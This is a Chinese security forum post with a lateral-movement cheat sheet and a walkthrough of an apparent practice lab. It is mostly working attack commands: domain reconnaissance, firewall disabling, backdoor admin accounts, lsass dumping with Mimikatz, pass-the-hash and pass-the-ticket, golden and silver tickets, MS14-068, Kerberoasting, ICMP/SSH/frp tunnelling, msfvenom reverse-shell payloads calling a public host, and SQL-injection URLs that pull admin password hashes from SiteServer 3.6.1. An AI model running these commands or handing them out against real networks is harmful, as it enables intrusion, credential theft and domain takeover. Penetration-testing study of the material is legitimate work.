首页
社区
课程
招聘
[原创]内网横移技巧及靶场实践
发表于: 2021-6-29 16:25 2835

[原创]内网横移技巧及靶场实践

2021-6-29 16:25
2835

当一台机子返回会话后,我们可以使用相关命令进行相应的信息收集

Systeminfo 计算机详细信息(补丁信息)
Net start 所启动的服务
Wmic service list brief 查询本机服务信息
Tasklist 进程列表
Wmic startup get command,caption 查看启动该程序信息
Schtasks /query /fo LIST /v计划任务
Netstat -ano 根据本机端口开放情况来判断有什么服务、其角色
Query user || qwinsta 查看当前在线用户
Net session 列出会话
Net share 查看本机的共享列表
Wmic share get name,path,status 查看共享列表
Net user 本地用户
Net user kkkk 查看本地用户信息
Net user kent password /add添加本地用户
Net localgroup 本地用户组
Net localgroup /domain 域用户组
Net localgroup Administrators kent /add 将本地用户添加到本地管理员组
Net localgroup adminnstrators 本地管理员组成员
net localgroup adminstrators /domain 域管理员组成员
Wmic useraccount get /all 获取域内用户详细信息
dsquery user 查看存在的用户
Net user /domain 域用户信息
Net user kkkk /domain 域用户kkkk信息
Net user kent password /add /domain添加域用户
Net localgroup Administrators kent /add /domain 将域用户添加到域管理员组
Net localgroup Administrators /add test\kent 将域用户添加到本地管理员组
Net group /domain 域用户组信息
Net view /domain 查询域
Net view /domain:test 查询域内计算机
Net accounts /domain 查询域中密码策略
Net group /domain 查看域内所有用户组
Net group “Domain Controllers” /domain 查看域控制器组
Net group “Domain computers” /domain 查看域内所有计算机列表
Net group “Domain admins” /domain 查看域内管理员用户
Net user /domain kent active:yes 启用域账户
Net user /domain kent active:no 禁用域账户
Nltest /DCLIST:test 查看域中域控制器名
Wmic useraccount get /all 用户详细信息
Net group “Domain Admins” /domain 对应组下的账户信息
nltest /domain_trusts 获取域信任信息
net config workstation 了解本机的配置信息
Netsh firewall show config 查看防火墙配置
Netsh advfirewall set allprofiles state off关闭防火墙(windows server 2003后)
Netsh advfirewall firewall add rule name=”pass nc” dir=in action=allow program=”C:\nc.exe” 允许指定程序进入(windows server 2003后)
Netsh advfirewall firewall add rule name=”allow nc” dir=out action=allow program=”C:\nc.exe”允许指定程序退出(windows server 2003后)
Netsh advfirewall firewall add rule name=”Remote Desktop” protocol=TCP dir=in localport=3389 action=allow 允许3389连接(windows server 2003后)
Netsh advfirewall set currentprofile logging filename=”C:\winodws\temp\fw.log” 自定义防火墙日志存储位置
Reg query “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings”查看端口代理配置信息
Reg query “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /V PortNumber查看远程桌面端口号
以下命令是开启3389端口 (windows server 2003后)
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
net start TermService

SharpDecryptPwd:
https://github.com/uknowsec/SharpDecryptPwd/raw/master/SharpDecryptPwd.exe
TeamViewer :SharpDecryptPwd.exe -TeamViewer
Navicat: SharpDecryptPwd.exe -NavicatCrypto
Xshell:SharpDecryptPwd.exe -Xmangager -p SessionPath -s username+sid(whoami /user)
laZagne :
https://github.com/ethicalhackeragnidhra/LaZagne/archive/2.3.1.zip
使用方法:laZagne.exe all

我们用上述命令简单收集计算机基本信息:
Ipconfig /all 根据DNS后缀判断是否有域

Net view /domain 判断是否存在域
确定域控的ip地址:
net time /domain

然后通过nslookup或ping确定其域控ip:

确定当域内存活主机:
for /L %I in (1,1,256) DO @ping -w 1 -l 1 192.168.202.%I | findstr “TTL=”

使用明文密码登录到域控,需要135端口开启:
Net use \192.168.202.148\ipc$ password /user:test\administrator

把后门复制到域控c盘,at新建定时作业:


Windows server 2012及以上使用schtasks命令
Schtasks /create /s 192.168.202.148 /ru “SYSTEM” /tn executefile /sc DAILY /tr c:/h4.exe /F
Schtasks /run /s 192.168.202.148 /tn executefile /i
Schtasks /delete /s 192.168.202.148 /tn executefile /f

Atexec.exe test/administrator:zxcvbnm123@192.168.202.148 “whoami”

Atexec.exe -hashes :fac5d668099409cb6fa223a32ea493b6 test/administrator@192.168.202.148 “whoami”

已知密码和用户批量连接ip:
FOR /F %%i in (ips.txt) do net use \%%i\ipc$ “password” /user:test\administrator

已知用户和ip批量连接密码:
FOR /F %%i in (pass.txt) do net use \192.168.202.148\ipc$ “%%i” /user:test\administrator
已知用户和ip批量连接hash:
FOR /F %%i in (hash.txt) do atexec.exe -hashes :“%%i” test/administrator@192.168.202.148 “whoami”

在windows server 2012以上的版本默认关闭wdiget,攻击者无法在内存中获取明文密码。
在windows server 2012以下的版本如果安装了KB2871997补丁,也无法获取明文密码。

Procdump.exe -accepteula -ma lsass.exe lsass.dmp(需要管理员权限)

利用Mimikatzm相关命令获取dmp中的hash:
Privilege::debug
Sekurlsa::minidump lsass.dmp
Sekurlsa::logonPasswords full

可以通过hashcat爆破hash值,获得对应的明文密码:
Hashcat -a 0 -m 1000 hashfile passfile

官方Psexec第一种利用方法:可以先有ipc链接,再用psexec运行相应的程序:
Net use \192.168.202.148\ipc$ zxcvbnm123 /user:test\Administrator
Psexec \192.168.202.148 -accepteula -s cmd

官方Psexec第二种利用方法:不用建立ipc连接,直接使用密码或hash进行传递
Psexec \192.168.202.148 -u Administrator -p zxcvbnm123 -s cmd

PsExec -hashes :fac5d668099409cb6fa223a32ea493b6 test.com/Administrator@192.168.202.148 "whoami" (官方执行不了)

使用第三方Impacket工具包中的smbexec和psexec(使用方法同官方一致)
使用Impacket第三方PsExec,命令与官方的一致:

使用Impacket第三方Smbexec:
Smbexec test/Administrator:zxcvbnm123@192.168.202.148

Smbexec -hashes :fac5d668099409cb6fa223a32ea493b6 test/Administrator@192.168.202.148

WMI利用135端口,支持明文和hash两种方式进行身份验证,且系统日志不记录。
第一种:使用系统自带的WMIC明文传递执行相应命令,但执行的结果不回显(先管理员账户登录)
Wmic /node:192.168.202.148 /user:Administrator /password:zxcvbnm123 process call create “cmd.exe /c ipconfig >C:/1.txt”

第二种:使用系统自带cscript明文传递执行反弹shell,执行结果有回显,现已被杀
Cscript //nologo wmiexec.vbs /shell 192.168.202.148 Administrator zxcvbnm123

第三种:使用第三方impacket套件中的Wmiexec进行明文或hash传递,执行结果有回显
Wmiexec test/Administrator:zxcvbnm123@192.168.202.148 “whoami”

Wmiexec -hashes :fac5d668099409cb6fa223a32ea493b6 test/Administrator@192.168.202.148 “whoami”

PTH是攻击者通过LM Hash和NTLM Hash访问远程主机或服务,不需提供明文密码。当禁用了NTLM Hash验证时,不能使用PsExec进行Hash传递,mimikatz还是可以。
Privilege::debug
Sekurlsa::pth /user:Administrator /domain:test /ntlm:fac5d668099409cb6fa223a32ea493b6

关于KB22871997是否能防护PTH攻击?
Pth:没有打补丁时,任何用户都可以连接,打了补丁只能administrator连接
Ptk:打了补丁后,用户才能可以连接,采用aes256连接

1、使用明文密码连接RDP
Windows: Mstsc.exe /console /v:192.168.202.148 /admin
Linux: rdesktop 192.168.202.148:3389
2、使用hash连接RDP
使用hash 连接需要Restricted Admin mode开启,Windows server 2012默认开启了,windows server 2008需要安装2871997、2973351补丁后,执行下面命令:
REG ADD “HKLM\System\CurrentControlSet\Control\Lsa” /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
当开启后就能使用mimikatz进行hash连接RDP:
Privilege::debug
Sekurlsa::pth /user:Administrator /domain:test /ntlm:fac5d668099409cb6fa223a32ea493b6 “/run:mstsc.exe /restrictedadmin”

利用ekeys aes256
Sekurlsa::ekeys 获取aes
Sekurlsa::pth /user:Administrator /domain:test2 /aes256:6e09831ee88fb85c8a3f4a88dea70e2a1b18197b70d57a9eebad73b45137433d

PTT(pass the ticket)不再使用NTLM进行认证,而是利用kerberos协议进行攻击,相对于PTH来说其不需要管理员权限,有三种常见的攻击方式:MS14-068(漏洞编号kb3011780)、Golder ticket、Silver ticket,其中后两者是将连接合法的票据注入内存中属于权限维持(后面写)。

第一种使用MS14-068 exp:
先用whoami /user查看当前用户sid

Kerberos::purge或klist purge先清空当前机器中的所有凭证:

利用MS14-068生成相应凭证:
MS14-068.exe -u c@test.com -s S-1-5-21-2273191065-1635484360-3888421177-1105 -d 192.168.202.148 -p c@zxcvbnm123

使用mimikatz将票据注入内存:
Kerberos::ptc “TGT_c@test.com.ccache”


后续利用:

第二种kekeo利用hash生成票据:
Kekeo “tgt::ask /user:c /domain:test.com /ntlm:abe09320f41c250eadcc5bfba77a5e1a”

同样清楚票据并导入生成的票据:
kerberos::ptt TGT_c@TEST.COM_krbtgt~test.com@TEST.COM.kirbi

第三种利用mimikatz收集本地的票据并重新导入(导出需要管理员权限):
Sekurlsa::tickets /export

使用Kerberos::ptt 进行导入票据。

Golder ticket使用krbtgt账户的密码hash值,利用伪造高权限的TGT向KDC要求颁发拥有任意服务访问权限的票据,从而获得域控权限。在域环境中,每个账户的票据都是Krbtgt生成的,当攻击者得到krbtgt hash或AES256值后,我们就可以伪造任一域用户的身份,并用该身份进行访问。伪造Golder ticket利用条件:
1、krbtgt用户hash或AES256值
2、域名称
3、域的SID值
4、要伪造的管理员名

下面是具体操作:
Privilege::debug
执行导出krbtgt hash命令 Lsadump::dcsync /domain:test.com /user:krbtgt
获得hash值:71204258ec5b715c29f6c8ee40a0c20d

获取域SID
Wmic useraccount get name,sid
S-1-5-21-2273191065-1635484360-3888421177-500

查询域管理员账户 net group “domain admins” /domain

获得域名 ipconfig /all

Kerberos::purge清空票据,然后使用下面命令生成krbtgt的票据
kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-2273191065-1635484360-3888421177-500 /krbtgt:71204258ec5b715c29f6c8ee40a0c20d /ticket:krbtgt. kiribi

kerberos::ptt krbtgt.kiribi 把生成的票据重新导入内存

Silver Ticket会通过相应的服务账户来伪造TGS,例如LDAP、MSSQL、WinRM、CIFS等,范围相对有限,只能获取对应服务权限,且Silver Ticket是由特定的账户加密的。利用条件:
1、域名
2、域SID
3、目标服务器的FQDN
4、可利用的服务
5、服务账号的NTLM Hash
6、需要伪造的用户名
下面进行相应的操作:
先清空系统中的票据 :
Kerberos::purge
使用mimikatz生成伪造的 Silver Ticket :
kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-2273191065-1635484360-3888421177-500 /target:WIN-MPPGQR2OWEC.test.com /service:cifs /rc4:fac5d668099409cb6fa223a32ea493b6 /user:c3 /ptt

退出mimikatz,查看内存中的票据:

重新访问域控的共享目录:

在域环境中,SPN扫描是查找相关服务较好的方法,可以从相关服务着手,如MSSQL、WSMAN、Exchange、TERMSERV、Hyper-V。其扫描是通过请求特定SPN类型的服务主题名称进行的。与普通网络端口相比,SPN扫描不需要连接IP来检测服务端口,所以能规避一些IPS的规则,且进行扫描只需普通域用户权限。
注册SPN
Setspn -A c3/test MSSQL

查看注册的SPN
Setspn -q /
Setspn -q / | findstr “MYSQL”

请求服务票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/win7.xie.com:3306/MySQL"

列出服务票据
Klist

并用mimikatz将票据导出
Kerberos::list /export

最后使用tgsrepcrack.py爆破得到相应密码。

先在受控端(web服务器)运行PingTunnel工具,执行开启隧道命令
sudo ./pingtunnel -type server

在控制端(公网vps)执行下面命令,打开需要监听的本地端口,会把指定的服务器相应端口的数据封装在ICMP隧道中,以受控端(web服务器)为IMCP隧道跳板进行传输。
pingtunnel -type client -l :本地所监听的端口 -s 受控端IP -t 指定要转发的目标IP:指定要转发的目标端口 -tcp 1
pingtunnel -type client -l :33444 -s 192.168.74.132 -t 192.168.96.145:80 -tcp 1

访问本地监听端口:

Lcx是传输层经典的转发工具。Lcx是一个基于Socket套接字实现的转发工具,其linux版本为portmap。一个正常的Socket隧道必须具备两端:一端为服务端,负责监听一个端口并等待客户端连接;另一端为客户端,通过服务端的地址和端口与其连接,并转发相应的数据给服务端。
在自己的公网vps(即服务端)执行监听命令,将本机4444端口上监听的所有数据转发给本机的5555端口,以便其它机器访问。
Lcx.exe -listen 4444 5555

在受控端(即客户端)执行数据转发命令,将目标机器的80端口转发到公网vps的4444端口。
Lcx.exe -slave 公网ip 4444 目标机器IP 80

我们通过vps的ip和5555访问到目标机器的80端口:

同样地lcx也常用于本地端口映射,当目标服务器由于防火墙限制,部分端口没能通过防火墙时,可以将目标服务器响应端口数据转发到防火墙允许的端口。在目标服务器执行下面命令,即可把远程桌面转到53端口:
Lcx -tran 53 目标服务器IP 3389

-C:压缩传输,提高速度。
-f: 后台执行
-N:建立静默连接
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态端口转发
-P:指定SSH端口

本地转发:
在VPS执行如下相应命令,该命令以web服务器为跳板,将内网服务器的端口映射到公网的vps上,我们访问对应公网vps的端口即可。
Ssh -CfNg -L 公网VPS端口:目标主机IP:目标端口号 root@跳板机IP

远程转发:
当公网的vps不能访问访问到内网的服务器(包括web服务器),但web服务器能访问到公网的vps时,我们在web服务器执行如下相应命令,该命令以web服务器为跳板,将vps端口的流量转发到内网服务器相应端口上,我们访问对应公网vps的端口即可。
Ssh -CfNg -R vps端口:目标主机IP:目标端口号 root@跳板机IP

动态转发:
动态端口映射时建立一个ssh加密的socks4/5代理通道,任何支持socks4/5协议的程序都可以通过此通道进行代理访问。我们在vps上执行如下命令:
ssh -CfNg -D 7000 root@代理主机IP

执行命令./sunny clientid d8d99b5ff5d4996

访问对应的域名,确认能连接成功:

执行命令生成相应的exe:
msfvenom -p windows/meterpreter/reverse_http lhost=mai1zhi2.free.idcfengye.com lport=80 -f exe -o h7.exe
设置好相应的payload后,打开监听,运行exe:

服务端默认监听端口是7000,执行命令,启动服务端 ./frps -c ./frps.ini


启动客户端frpc配置文件:
[msf]
type = tcp
local_ip = 本地ip地址
local_port = 22222 转发给本机的22222端口,也就是msf的监听端口
remote_port = 6000 服务端打开6000端口进行监听
执行命令连接服务端:./frpc -c ./frpc.ini

服务端显示有客户端连接:

服务端开启6000端口进行监听

Msf生成exe文件:
msfvenom -p windows/meterpreter/reverse_http lhost=公网ip lport=公网ip监听的端口 -f exe -o h4.exe
执行exe上线:

这个靶场是月师傅所搭,我们用这个靶场作为实践,靶场拓扑图:

先进行主机发现,方法有许多,分别是基于层面和工具上的不同:
1、使用netdiscover
sudo netdiscover -i eth0 -r 192.168.202.0/24
专用的二层发现工具。拥有主动和被动发现两种方式。
常用参数:
-i:网卡 选择你监控的网卡。比如eth0
-r:range 指定IP段。比如192.168.0.0/24
-l:filename 从文件读取range列表
-p 被动模式。默默的侦听指定的网卡以发现别的二层主机
-t ARP包发送间隔。单位毫秒。这个可以用来规避检测系统的告警。
-c 发包数量
2、使用nmap
nmap -v -sP 192.168.202.0/24
以上参数:
-sP、ICMP扫描: 类似于ping检测,快速判断目标主机是否存活,不做其他扫描


3、使用系统自带ping(速度稍慢)
for /L %I in (1,1,256) DO @ping -w 1 -l 1 192.168.202.%I | findstr “TTL=”
fping -g 10.10.10.0/24

然后对所发现的主机进行端口扫描,同样也有不同工具来进行端口扫描:
1、nmap
nmap -sS -p 1-65535 -v 192.168.202.183
以上参数:
-P 指定端口扫描
-V 详细信息
-sS、TCP SYN扫描(半开扫描): 只向目标发出SYN数据包,如果收到SYN/ACK响应包就认为目标端口正在监听,并立即断开连接;否则认为目标端口并未开放。
-sT、TCP 连接扫描: 这是完整的TCP扫描方式,用来建立一个TCP连接,如果成功则认为目标端口正在监听服务,否则认为目标端口并未开放。
-sF、TCP FIN扫描: 开放的端口会忽略这种数据包,关闭的端口会回应RST数据包。许多防火墙只对SYN数据包进行简单过滤,而忽略了其他形式的TCP攻击包。这种类型的扫描可间接检测防火墙的健壮性。
-sU、UDP扫描: 探测目标主机提供哪些UDP服务,UDP扫描的速度会比较慢。

识别对应的端口
nmap -sV -A 192.168.202.183 -p 80,53,6588,5985,3389,135,21,999 -oA myAttackPorts
-sV: 探测相应服务版本号
-A: 综合扫描,包含1-10000的端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测
-oA:同时在三个主要的格式文档输出扫描结果


使用xsltproc美化结果输出文档:
xsltproc -o attck.html mode.xsl myAttackPorts.xml

2、masscan
sudo masscan -p 1-65535 192.168.202.183 --rate=1000
常用参数:
-p <ports,--ports <ports>> 指定端口进行扫描
--banners 获取banner信息,支持少量的协议
--rate <packets-per-second> 指定发包的速率,默认的速率是100包/秒

绑定域名,再对其www.moonlab.com进行目录爆破,

如果用kali自带的dirbuster工具会因为UA和速度等问题被拦截:


所以我们可以自己编写脚本进行目录的爆破,每间隔0.5秒进行请求操作:

访问网址可知,这是siteserver3.6.1,从网上找到该版本报错注入的相关poc,获得数据库版本信息:
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--

获得数据库名:
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20db_name()=~2;%20--

根据查询数据库语句相继获取到后台的用户名、密码及salt值:
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=(SELECT%20TOP%201%20[Password]%20FROM%20[bairong_Administrator]);%20--


然后我们根据网上所下载的原理分析出其登录时的密码加密流程:
先看FrameworkLogin类的Submit_Onclick()方法,流程很简单先判断验证码,然后把用户名和密码传入AdminManager.Authticate:

继续跟入AdminManager.Authticate,调用了AdministratorDAO.ValidateUser()验证:

继续跟入AdministratorDAO.ValidateUser()的实现,函数先根据用户名找到用户的信息,根据数据库中用户的密码与输入的密码调用checkpassword()函数进行比对:

把数据库中的密码和salt传入DecodePassword()进行相应的解密:

DecodePassword()函数中调用的是系统库的des解密:


我们了解了相关的解密流程,就可以自己编写相关的解密工具去解密前面注入得到的密码为admin5566。


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 14
支持
分享
最新回复 (4)
雪    币: 4885
活跃值: (2554)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
总结分析得很全面,而且提供了实验环境的搭建,很实用!
2021-6-30 08:38
0
雪    币: 35
活跃值: (5244)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
wsc
3
不错 很好的资料
2021-6-30 10:59
0
雪    币: 33
活跃值: (121)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
2022-6-5 23:05
0
雪    币: 3201
活跃值: (5419)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
2024-11-5 09:47
0
游客
登录 | 注册 方可回帖
返回
//